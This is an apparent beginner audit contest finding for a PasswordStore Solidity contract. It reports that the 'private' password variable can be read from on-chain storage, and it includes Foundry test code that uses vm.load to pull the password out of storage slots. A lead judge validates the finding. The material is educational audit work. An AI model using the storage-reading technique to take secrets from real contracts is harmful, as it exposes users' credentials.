First Flight #1: PasswordStore
First Flight #1
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Password can be viewed by anyone and is not really private.

shikhar229169

Summary

Even if the variable s_password is private, but it can be viewed by anyone. Everyone can read data from the contract's storage slot.

Vulnerability Details

If anyone gets the storage slot at which s_password data is stored, then they can easily get the password.

  • If the password fits in the 32 bytes slot, then it will be present at the slot 1 (in reference with the PasswordStore contract).
    So, we can easily get it by:

function test_GetPassword() public view {
uint256 zero = 0;
bytes32 slot = bytes32(zero + 1); // Storage slot 1
bytes32 data = vm.load(address(passwordStore), slot); // Getting data at storage slot 1
string memory passwd = string(abi.encodePacked(data)); // Converting to string
console.log(passwd);
}

  • But if the password can't fit in the 32 bytes slot, then the storage slot changes where password is stored, and slot 1 will only contain the length of string.

function test_GetPasswordTwo() public view {
uint256 zero = 0;
​
bytes32 firstSlot = keccak256(abi.encode(zero + 1)); // Now the password is stored at keccak256 of slot 1
bytes32 bytesPassword = vm.load(address(passwordStore), firstSlot); // Get the data from that slot
string memory passwd = string(abi.encodePacked(bytesPassword));
console.log(passwd);
​
// If the password is big and it can't fit in firstSlot, then it is continued in previous slot (i.e. firstSlot) + 1
bytes32 secondSlot = bytes32(uint256(firstSlot) + 1);
bytes32 bytesPassword2 = vm.load(address(passwordStore), secondSlot);
string memory passwd2 = string(abi.encodePacked(bytesPassword2));
console.log(passwd2);
}

And if the password still can't be stored in secondSlot, then the next slot will be previous slot (i.e. secondSlot) + 1, and so on.

Impact

Bad impact on user's accounts, as anyone can use the password to authenticate to user's accounts.

Tools Used

Manual Review

Recommendations

To encrypt the password with user's public key, so that only the user can decrypt it with their private key.

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 2 years ago
inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-read-storage

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts. In this case private doesn't mean secret/confidential

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.